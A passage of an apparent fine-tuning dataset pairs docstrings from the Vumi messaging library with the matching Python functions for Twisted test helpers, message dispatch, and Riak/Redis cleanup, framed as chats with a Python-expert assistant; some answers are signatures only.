appropriate\nmethods on the service with the appropriate parameters.\n\nThese parameters and values can differ per MNO.\n\nShould return a Deferred that fires with a the list of sequence_numbers\nreturning from the submit_sm calls..", "conversation_id": 757, "message_id": 1 }, { "role": "assistant", "content": "def handle_raw_outbound_message(vumi_message, smpp_service):", "conversation_id": 757, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 758, "message_id": 0 }, { "role": "user", "content": "Schedule a message delivery run.\nReturns a deferred that will fire when all deliverable\nmessages have been delivered and processed by their consumers.\nThis is useful for manually triggering a delivery run from\ninside a test..", "conversation_id": 758, "message_id": 1 }, { "role": "assistant", "content": "def kick_delivery(self):\n if self._delivering is None:\n self._delivering = {\n 'deferred': Deferred(),\n 'count': 0,\n }\n self._delivering['count'] += 1\n reactor.callLater(0, self.deliver_to_channels)\n return self.wait_delivery()", "conversation_id": 758, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 759, "message_id": 0 }, { "role": "user", "content": "Wait for the current message delivery run (if any) to finish.\nReturns a deferred that will fire when the broker is finished\ndelivering any messages from the current run. This should not\nleave any messages undelivered, because basic_publish() kicks\noff a delivery run.\n\nEach call returns a new deferred to avoid callback chain ordering\nissues when several things want to wait for delivery.\n\nThis method should be called during test teardown to make\nsure there are no pending delivery cleanups that will cause a\ndirty reactor race..", "conversation_id": 759, "message_id": 1 }, { "role": "assistant", "content": "def wait_delivery(self):\n d = Deferred()\n if self._delivering is None:\n d.callback(None)\n else:\n self._delivering['deferred'].chainDeferred(d)\n return d", "conversation_id": 759, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 760, "message_id": 0 }, { "role": "user", "content": "Notify the broker that a message has been processed, in order\nto make delivery sane..", "conversation_id": 760, "message_id": 1 }, { "role": "assistant", "content": "def message_processed(self):\n self.broker.message_processed()", "conversation_id": 760, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 761, "message_id": 0 }, { "role": "user", "content": "Register cleanup and perform setup for a helper object..", "conversation_id": 761, "message_id": 1 }, { "role": "assistant", "content": "def add_helper(helper_object, *args, **kwargs):", "conversation_id": 761, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 762, "message_id": 0 }, { "role": "user", "content": "Mark a method as being suitable for automatic proxy generation.\nSee :func:`generate_proxies` for usage..", "conversation_id": 762, "message_id": 1 }, { "role": "assistant", "content": "def proxyable(func):\n func.proxyable = True\n return func", "conversation_id": 762, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 763, "message_id": 0 }, { "role": "user", "content": "We can't necessarily use TestCase.successResultOf because our Twisted might\nnot be new enough. This is a standalone copy with some minor message\ndifferences..", "conversation_id": 763, "message_id": 1 }, { "role": "assistant", "content": "def success_result_of(d):\n results = []\n d.addBoth(results.append)\n if not results:\n raise FailTest(\"No result available for deferred: %r\" % (d,))\n if isinstance(results[0], Failure):\n raise FailTest(\"Expected success from deferred %r, got failure: %r\" % (\n d, results[0]))\n return results[0]", "conversation_id": 763, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 764, "message_id": 0 }, { "role": "user", "content": "Poll the reactor for unclosed connections and wait for them to close.\nProperly waiting for all connections to finish closing requires hooking\ninto :meth:`Protocol.connectionLost` in both client and server. Since\nthis isn't practical in all cases, we check the reactor for any open\nconnections and wait a bit for them to finish closing if we find any.\n\nThis will only wait for connections that close on their own. Any\nconnections that have been left open will stay open (unless they\ntime out or something) and will leave the reactor dirty after we\nstop waiting..", "conversation_id": 764, "message_id": 1 }, { "role": "assistant", "content": "def _check_reactor_things(self):\n from twisted.internet import reactor\n yield deferLater(reactor, 0, lambda: None)\n for i in range(self.reactor_check_iterations):\n internal_readers = getattr(reactor, '_internalReaders', set())\n selectables = set(reactor.getReaders() + reactor.getWriters())\n if not (selectables - internal_readers):\n return\n yield deferLater(\n reactor, self.reactor_check_interval, lambda: None)", "conversation_id": 764, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 765, "message_id": 0 }, { "role": "user", "content": "Register a cleanup function to be called at teardown time..", "conversation_id": 765, "message_id": 1 }, { "role": "assistant", "content": "def add_cleanup(self, func, *args, **kw):\n if self._cleanup_funcs is None:\n self._cleanup_funcs = []\n self._cleanup_funcs.append((func, args, kw))", "conversation_id": 765, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 766, "message_id": 0 }, { "role": "user", "content": "Perform setup and register cleanup for the given helper object..", "conversation_id": 766, "message_id": 1 }, { "role": "assistant", "content": "def add_helper(self, helper_object, *args, **kw):\n if not IHelper.providedBy(helper_object):\n raise ValueError(\n \"Helper object does not provide the IHelper interface: %s\" % (\n helper_object,))\n self.add_cleanup(helper_object.cleanup)\n return maybe_async_return(\n helper_object, helper_object.setup(*args, **kw))", "conversation_id": 766, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 767, "message_id": 0 }, { "role": "user", "content": "The only real difference between using this method and constructing a\nmessage object directly is that this method provides sensible defaults\nfor most fields and sets the routing endpoint (if provided) in a more\nconvenient way.\n\nThe following parameters are mandatory..", "conversation_id": 767, "message_id": 1 }, { "role": "assistant", "content": "def make_user_message(self, content, from_addr, to_addr, group=None,\n session_event=None, transport_type=DEFAULT,\n transport_name=DEFAULT, transport_metadata=DEFAULT,\n helper_metadata=DEFAULT, endpoint=DEFAULT, **kw):\n if transport_type is DEFAULT:\n transport_type = self.transport_type\n if helper_metadata is DEFAULT:\n helper_metadata = {}\n if transport_metadata is DEFAULT:\n transport_metadata = {}\n if transport_name is DEFAULT:\n transport_name = self.transport_name\n msg = TransportUserMessage(\n from_addr=from_addr,\n to_addr=to_addr,\n group=group,\n transport_name=transport_name,\n transport_type=transport_type,\n transport_metadata=transport_metadata,\n helper_metadata=helper_metadata,\n content=content,\n session_event=session_event,\n **kw)\n if endpoint is not DEFAULT:\n msg.set_routing_endpoint(endpoint)\n return msg", "conversation_id": 767, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 768, "message_id": 0 }, { "role": "user", "content": "Wait for any pending message deliveries and stop all workers..", "conversation_id": 768, "message_id": 1 }, { "role": "assistant", "content": "def cleanup(self):\n yield self.broker.wait_delivery()\n for worker in self._workers:\n yield worker.stopWorker()", "conversation_id": 768, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 769, "message_id": 0 }, { "role": "user", "content": "Clean up a particular worker manually and remove it from the helper's\ncleanup list. This should only be called with workers that are already\nin the helper's cleanup list..", "conversation_id": 769, "message_id": 1 }, { "role": "assistant", "content": "def cleanup_worker(self, worker):\n self._workers.remove(worker)\n return worker.stopWorker()", "conversation_id": 769, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 770, "message_id": 0 }, { "role": "user", "content": "Clear all dispatched messages from the broker..", "conversation_id": 770, "message_id": 1 }, { "role": "assistant", "content": "def clear_all_dispatched(self):\n self.broker.clear_messages('vumi')\n self.broker.clear_messages('vumi.metrics')", "conversation_id": 770, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 771, "message_id": 0 }, { "role": "user", "content": "Wait for events dispatched to a connector..", "conversation_id": 771, "message_id": 1 }, { "role": "assistant", "content": "def wait_for_dispatched_events(self, amount=None, connector_name=None):\n d = self._wait_for_dispatched(connector_name, 'event', amount)\n d.addCallback(lambda msgs: [\n TransportEvent(**msg.payload) for msg in msgs])\n return d", "conversation_id": 771, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 772, "message_id": 0 }, { "role": "user", "content": "Wait for inbound messages dispatched to a connector..", "conversation_id": 772, "message_id": 1 }, { "role": "assistant", "content": "def wait_for_dispatched_inbound(self, amount=None, connector_name=None):\n d = self._wait_for_dispatched(connector_name, 'inbound', amount)\n d.addCallback(lambda msgs: [\n TransportUserMessage(**msg.payload) for msg in msgs])\n return d", "conversation_id": 772, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 773, "message_id": 0 }, { "role": "user", "content": "Wait for outbound messages dispatched to a connector..", "conversation_id": 773, "message_id": 1 }, { "role": "assistant", "content": "def wait_for_dispatched_outbound(self, amount=None, connector_name=None):\n d = self._wait_for_dispatched(connector_name, 'outbound', amount)\n d.addCallback(lambda msgs: [\n TransportUserMessage(**msg.payload) for msg in msgs])\n return d", "conversation_id": 773, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 774, "message_id": 0 }, { "role": "user", "content": "Wait for statuses dispatched to a connector..", "conversation_id": 774, "message_id": 1 }, { "role": "assistant", "content": "def wait_for_dispatched_statuses(self, amount=None, connector_name=None):\n if connector_name is None:\n connector_name = self._status_connector_name\n d = self._wait_for_dispatched(connector_name, 'status', amount)\n d.addCallback(lambda msgs: [\n TransportStatus(**msg.payload) for msg in msgs])\n return d", "conversation_id": 774, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 775, "message_id": 0 }, { "role": "user", "content": "Clear dispatched events for a connector..", "conversation_id": 775, "message_id": 1 }, { "role": "assistant", "content": "def clear_dispatched_events(self, connector_name=None):\n return self._clear_dispatched(connector_name, 'event')", "conversation_id": 775, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 776, "message_id": 0 }, { "role": "user", "content": "Clear dispatched inbound messages for a connector..", "conversation_id": 776, "message_id": 1 }, { "role": "assistant", "content": "def clear_dispatched_inbound(self, connector_name=None):\n return self._clear_dispatched(connector_name, 'inbound')", "conversation_id": 776, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 777, "message_id": 0 }, { "role": "user", "content": "Clear dispatched outbound messages for a connector..", "conversation_id": 777, "message_id": 1 }, { "role": "assistant", "content": "def clear_dispatched_outbound(self, connector_name=None):\n return self._clear_dispatched(connector_name, 'outbound')", "conversation_id": 777, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 778, "message_id": 0 }, { "role": "user", "content": "Clear dispatched statuses for a connector..", "conversation_id": 778, "message_id": 1 }, { "role": "assistant", "content": "def clear_dispatched_statuses(self, connector_name=None):\n if connector_name is None:\n connector_name = self._status_connector_name\n return self._clear_dispatched(connector_name, 'status')", "conversation_id": 778, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 779, "message_id": 0 }, { "role": "user", "content": "Dispatch a message to the specified routing key..", "conversation_id": 779, "message_id": 1 }, { "role": "assistant", "content": "def dispatch_raw(self, routing_key, message, exchange='vumi'):\n self.broker.publish_message(exchange, routing_key, message)\n return self.kick_delivery()", "conversation_id": 779, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 780, "message_id": 0 }, { "role": "user", "content": "Trigger delivery of messages by the broker.\nThis is generally called internally by anything that sends a message..", "conversation_id": 780, "message_id": 1 }, { "role": "assistant", "content": "def kick_delivery(self):\n return self.broker.kick_delivery()", "conversation_id": 780, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 781, "message_id": 0 }, { "role": "user", "content": "Get dispatched metrics after waiting for any pending deliveries.\nThe list of datapoints from each dispatched metrics message is\nreturned..", "conversation_id": 781, "message_id": 1 }, { "role": "assistant", "content": "def wait_for_dispatched_metrics(self):\n return self.broker.wait_delivery().addCallback(\n lambda _: self.get_dispatched_metrics())", "conversation_id": 781, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 782, "message_id": 0 }, { "role": "user", "content": "Clear dispatched metrics messages from the broker..", "conversation_id": 782, "message_id": 1 }, { "role": "assistant", "content": "def clear_dispatched_metrics(self):\n self.broker.clear_messages('vumi.metrics')", "conversation_id": 782, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 783, "message_id": 0 }, { "role": "user", "content": "Construct and dispatch a delivery report event.\nThis is a wrapper around :meth:`MessageHelper.make_delivery_report` (to\nwhich all parameters are passed) and.", "conversation_id": 783, "message_id": 1 }, { "role": "assistant", "content": "def make_dispatch_delivery_report(self, *args, **kw):\n msg = self.msg_helper.make_delivery_report(*args, **kw)\n d = self.worker_helper.dispatch_event(msg)\n return d.addCallback(lambda r: msg)", "conversation_id": 783, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 784, "message_id": 0 }, { "role": "user", "content": "Construct and dispatch a status.\nThis is a wrapper around :meth:`MessageHelper.make_status` (to\nwhich all parameters are passed) and.", "conversation_id": 784, "message_id": 1 }, { "role": "assistant", "content": "def make_dispatch_status(self, *args, **kw):\n msg = self.msg_helper.make_status(*args, **kw)\n d = self.worker_helper.dispatch_status(msg)\n return d.addCallback(lambda r: msg)", "conversation_id": 784, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 785, "message_id": 0 }, { "role": "user", "content": "This is useful for skipping tests that require optional dependencies which\nmight not be present..", "conversation_id": 785, "message_id": 1 }, { "role": "assistant", "content": "def import_skip(exc, *expected):\n module = import_filter(exc, *expected)\n raise SkipTest(\"Failed to import '%s'.\" % (module,))", "conversation_id": 785, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 786, "message_id": 0 }, { "role": "user", "content": "Decorate a test that should be skipped with a reason.\nNOTE: Don't import this as `skip`, because that will cause trial to skip\nthe entire module that imports it..", "conversation_id": 786, "message_id": 1 }, { "role": "assistant", "content": "def skiptest(reason):\n def skipdeco(func):\n func.skip = reason\n return func\n return skipdeco", "conversation_id": 786, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 787, "message_id": 0 }, { "role": "user", "content": "Return ``value`` or a deferred that fires with it.\nThis is useful in cases where we're performing a potentially async\noperation but don't necessarily have enough information to use\n`maybe_async`..", "conversation_id": 787, "message_id": 1 }, { "role": "assistant", "content": "def maybe_async_return(value, maybe_deferred):\n if isinstance(maybe_deferred, Deferred):\n return maybe_deferred.addCallback(lambda r: value)\n return value", "conversation_id": 787, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 788, "message_id": 0 }, { "role": "user", "content": "Get a list of Riak managers and whether they should be purged.\nThe return value is a list of (`bool`, `Manager`) tuples. If the first\nitem is `True`, the manager should be purged. It's safe to purge\nmanagers even if the first item is `False`, but it adds extra cleanup\ntime..", "conversation_id": 788, "message_id": 1 }, { "role": "assistant", "content": "def _get_riak_managers_for_cleanup(self):\n seen_bucket_prefixes = set()\n managers = []\n for manager in self._riak_managers:\n if manager.bucket_prefix in seen_bucket_prefixes:\n managers.append((False, manager))\n else:\n seen_bucket_prefixes.add(manager.bucket_prefix)\n managers.append((True, manager))\n return reversed(managers)", "conversation_id": 788, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 789, "message_id": 0 }, { "role": "user", "content": "Get a list of Redis managers and whether they should be purged.\nThe return value is a list of (`bool`, `Manager`) tuples. If the first\nitem is `True`, the manager should be purged. It's safe to purge\nmanagers even if the first item is `False`, but it adds extra cleanup\ntime..", "conversation_id": 789, "message_id": 1 }, { "role": "assistant", "content": "def _get_redis_managers_for_cleanup(self):\n seen_key_prefixes = set()\n managers = []\n for manager in self._redis_managers:\n if manager._key_prefix in seen_key_prefixes:\n managers.append((False, manager))\n else:\n seen_key_prefixes.add(manager._key_prefix)\n managers.append((True, manager))\n return reversed(managers)", "conversation_id": 789, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 790, "message_id": 0 }, { "role": "user", "content": "This is a separate method to allow easy overriding..", "conversation_id": 790, "message_id": 1 }, { "role": "assistant", "content": "def _purge_redis(self, manager):\n try:\n yield manager._purge_all()\n except RuntimeError, e:\n if e.args[0] != 'Not connected':\n raise", "conversation_id": 790, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 791, "message_id": 0 }, { "role": "user", "content": "Patch a Riak manager to capture load and store operations..", "conversation_id": 791, "message_id": 1 }, { "role": "assistant", "content": "def record_load_and_store(self, riak_manager, loads, stores):\n orig_load = riak_manager.load\n orig_store = riak_manager.store\n def record_load(modelcls, key, result=None):\n loads.append(key)\n return orig_load(modelcls, key, result=result)\n def record_store(obj):\n stores.append(obj.key)\n return orig_store(obj)\n self._patch(riak_manager, \"load\", record_load)\n self._patch(riak_manager, \"store\", record_store)", "conversation_id": 791, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 792, "message_id": 0 }, { "role": "user", "content": "All configs for things that create Riak or Redis clients should be\npassed through this method..", "conversation_id": 792, "message_id": 1 }, { "role": "assistant", "content": "def mk_config(self, config):\n self._check_patches_applied()\n config = config.copy()\n config.update(self._config_overrides)\n return config", "conversation_id": 792, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 793, "message_id": 0 }, { "role": "user", "content": "Transport-specific config validation happens in here..", "conversation_id": 793, "message_id": 1 }, { "role": "assistant", "content": "def validate_config(self):\n self.web_path = self.config['web_path']\n self.web_port = int(self.config['web_port'])\n self.integrat_url = self.config['url']\n self.integrat_username = self.config['username']\n self.integrat_password = self.config['password']\n self.transport_type = self.config.get('transport_type', 'ussd')", "conversation_id": 793, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 794, "message_id": 0 }, { "role": "user", "content": "Call .send_to() for a message from RapidSMS that is not a reply.\nThis is for overriding by sub-classes that need to add additional\nmessage options..", "conversation_id": 794, "message_id": 1 }, { "role": "assistant", "content": "def send_rapidsms_nonreply(self, to_addr, content, config, endpoint):\n return self.send_to(to_addr, content, endpoint=endpoint)", "conversation_id": 794, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 795, "message_id": 0 }, { "role": "user", "content": "Do any necessary computation when a field changes..", "conversation_id": 795, "message_id": 1 }, { "role": "assistant", "content": "def model_field_changed(self, modelobj, changed_field_name):\n pass", "conversation_id": 795, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 796, "message_id": 0 }, { "role": "user", "content": "Perform a paginated index query for backlinked objects..", "conversation_id": 796, "message_id": 1 }, { "role": "assistant", "content": "def reverse_lookup_keys_paginated(self, modelobj, manager=None,\n max_results=None, continuation=None):\n if manager is None:\n manager = modelobj.manager\n return manager.index_keys_page(\n self.model_cls, self.index_name, modelobj.key,\n max_results=max_results, continuation=continuation)", "conversation_id": 796, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 797, "message_id": 0 }, { "role": "user", "content": "Publishes a status if it is not a repeat of the previously\npublished status..", "conversation_id": 797, "message_id": 1 }, { "role": "assistant", "content": "def add_status(self, **kw):\n if self.status_detect.check_status(**kw):\n yield self.publish_status(**kw)", "conversation_id": 797, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 798, "message_id": 0 }, { "role": "user", "content": "Read outbound message and do what needs to be done with them..", "conversation_id": 798, "message_id": 1 }, { "role": "assistant", "content": "def handle_outbound_message(self, message):\n request_id = message['in_reply_to']\n request = self.get_request(request_id)\n builder = self.infer_message_type(message)\n wc_msg = builder(message)\n if request is None or request.finished:\n return self.push_message(wc_msg, message)\n request.write(wc_msg.to_xml())\n request.finish()\n d = self.publish_ack(user_message_id=message['message_id'],\n sent_message_id=message['message_id'])\n wc_metadata = message[\"transport_metadata\"].get('wechat', {})\n if wc_metadata:\n d.addCallback(lambda _: self.set_cached_reply(\n wc_metadata['MsgId'], wc_msg.to_xml()))\n if message['session_event'] == TransportUserMessage.SESSION_CLOSE:\n d.addCallback(\n lambda _: self.clear_addr_mask(wc_msg.to_user_name))\n return d", "conversation_id": 798, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 799, "message_id": 0 }, { "role": "user", "content": "Construct a real webserver to test actual connectivity..", "conversation_id": 799, "message_id": 1 }, { "role": "assistant", "content": "def make_real_webserver(self):\n root = Resource()\n root.isLeaf = True\n root.render = lambda r: self._render_request(r)\n site_factory = Site(root)\n webserver = yield reactor.listenTCP(\n 0, site_factory, interface='127.0.0.1')\n self.add_cleanup(webserver.loseConnection)\n addr = webserver.getHost()\n url = \"http://%s:%s/\" % (addr.host, addr.port)\n returnValue(url)", "conversation_id": 799, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 800, "message_id": 0 }, { "role": "user", "content": "Wrapper around http_request_full and friends that injects our fake\nconnection's agent..", "conversation_id": 800, "message_id": 1 }, { "role": "assistant", "content": "def with_agent(self, f, *args, **kw):\n kw.setdefault('agent_class', self.fake_http.get_agent)\n return f(*args, **kw)", "conversation_id": 800, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 801, "message_id": 0 }, { "role": "user", "content": "Called when an inbound transport user message is consumed.\nThe other methods listed below all function in the same way. Only the\nkind and direction of the message being processed differs..", "conversation_id": 801, "message_id": 1 }, { "role": "assistant", "content": "def handle_consume_inbound(self, message, connector_name):\n return self.handle_inbound(message, connector_name)", "conversation_id": 801, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 802, "message_id": 0 }, { "role": "user", "content": "Called when an inbound transport user message is published..", "conversation_id": 802, "message_id": 1 }, { "role": "assistant", "content": "def handle_publish_inbound(self, message, connector_name):\n return self.handle_inbound(message, connector_name)", "conversation_id": 802, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 803, "message_id": 0 }, { "role": "user", "content": "Default handler for published and consumed inbound messages..", "conversation_id": 803, "message_id": 1 }, { "role": "assistant", "content": "def handle_inbound(self, message, connector_name):\n return message", "conversation_id": 803, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 804, "message_id": 0 }, { "role": "user", "content": "Called when an outbound transport user message is consumed..", "conversation_id": 804, "message_id": 1 }, { "role": "assistant", "content": "def handle_consume_outbound(self, message, connector_name):\n return self.handle_outbound(message, connector_name)", "conversation_id": 804, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 805, "message_id": 0 }, { "role": "user", "content": "Called when an outbound transport user message is published..", "conversation_id": 805, "message_id": 1 }, { "role": "assistant", "content": "def handle_publish_outbound(self, message, connector_name):\n return self.handle_outbound(message, connector_name)", "conversation_id": 805, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 806, "message_id": 0 }, { "role": "user", "content": "Default handler for published and consumed outbound messages..", "conversation_id": 806, "message_id": 1 }, { "role": "assistant", "content": "def handle_outbound(self, message, connector_name):\n return message", "conversation_id": 806, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 807, "message_id": 0 }, { "role": "user", "content": "Called when a transport event is consumed..", "conversation_id": 807, "message_id": 1 }, { "role": "assistant", "content": "def handle_consume_event(self, event, connector_name):\n return self.handle_event(event, connector_name)", "conversation_id": 807, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 808, "message_id": 0 }, { "role": "user", "content": "Called when a transport event is published..", "conversation_id": 808, "message_id": 1 }, { "role": "assistant", "content": "def handle_publish_event(self, event, connector_name):\n return self.handle_event(event, connector_name)", "conversation_id": 808, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 809, "message_id": 0 }, { "role": "user", "content": "Default handler for published and consumed events..", "conversation_id": 809, "message_id": 1 }, { "role": "assistant", "content": "def handle_event(self, event, connector_name):\n return event", "conversation_id": 809, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 810, "message_id": 0 }, { "role": "user", "content": "Called when a failure message is consumed..", "conversation_id": 810, "message_id": 1 }, { "role": "assistant", "content": "def handle_consume_failure(self, failure, connector_name):\n return self.handle_failure(failure, connector_name)", "conversation_id": 810, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 811, "message_id": 0 }, { "role": "user", "content": "Called when a failure message is published..", "conversation_id": 811, "message_id": 1 }, { "role": "assistant", "content": "def handle_publish_failure(self, failure, connector_name):\n return self.handle_failure(failure, connector_name)", "conversation_id": 811, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 812, "message_id": 0 }, { "role": "user", "content": "Called to process a failure message (.", "conversation_id": 812, "message_id": 1 }, { "role": "assistant", "content": "def handle_failure(self, failure, connector_name):\n return failure", "conversation_id": 812, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 813, "message_id": 0 }, { "role": "user", "content": "Return a list of middleware objects created from a worker\nconfiguration..", "conversation_id": 813, "message_id": 1 }, { "role": "assistant", "content": "def create_middlewares_from_config(worker, config):\n middlewares = []\n for item in config.get(\"middleware\", []):\n keys = item.keys()\n if len(keys) != 1:\n raise ConfigError(\n \"Middleware items contain only a single key-value pair. The\"\n \" key should be a name for the middleware. The value should be\"\n \" the full dotted name of the class implementing the\"\n \" middleware, or a mapping containing the keys 'class' with a\"\n \" value of the full dotted class name, 'consume_priority' with\"\n \" the priority level for consuming, and 'publish_priority'\"\n \" with the priority level for publishing, both integers.\")\n middleware_name = keys[0]\n middleware_config = config.get(middleware_name, {})\n if isinstance(item[middleware_name], basestring):\n cls_name = item[middleware_name]\n middleware_config['consume_priority'] = 0\n middleware_config['publish_priority'] = 0\n elif isinstance(item[middleware_name], dict):\n conf = item[middleware_name]\n cls_name = conf.get('class')\n try:\n middleware_config['consume_priority'] = int(conf.get(\n 'consume_priority', 0))\n middleware_config['publish_priority'] = int(conf.get(\n 'publish_priority', 0))\n except ValueError:\n raise ConfigError(\n \"Middleware priority level must be an integer\")\n else:\n raise ConfigError(\n \"Middleware item values must either be a string with the\",\n \" full dotted name of the class implementing the middleware,\"\n \" or a dictionary with 'class', 'consume_priority', and\"\n \" 'publish_priority' keys.\")\n cls = load_class_by_string(cls_name)\n middleware = cls(middleware_name, middleware_config, worker)\n middlewares.append(middleware)\n return middlewares", "conversation_id": 813, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 814, "message_id": 0 }, { "role": "user", "content": "Add a pool to list of pools..", "conversation_id": 814, "message_id": 1 }, { "role": "assistant", "content": "def _register_pool(self, pool):\n pool = self._encode(pool)\n pool_list_key = self._pool_list_key()\n yield self.redis.sadd(pool_list_key, pool)", "conversation_id": 814, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 815, "message_id": 0 }, { "role": "user", "content": "Remove a pool to list of pools..", "conversation_id": 815, "message_id": 1 }, { "role": "assistant", "content": "def _unregister_pool(self, pool):\n pool = self._encode(pool)\n pool_list_key = self._pool_list_key()\n yield self.redis.srem(pool_list_key, pool)", "conversation_id": 815, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 816, "message_id": 0 }, { "role": "user", "content": "Generic response for abnormal server side errors..", "conversation_id": 816, "message_id": 1 }, { "role": "assistant", "content": "def response_for_error(self):\n response = {\n 'message': 'We encountered an error while processing your message',\n 'type': 'end'\n }\n return response", "conversation_id": 816, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 817, "message_id": 0 }, { "role": "user", "content": "Called on requests that timed out..", "conversation_id": 817, "message_id": 1 }, { "role": "assistant", "content": "def finish_expired_request(self, request_id, request):\n del self._requests[request_id]\n log.msg('Timing out on response for %s' % 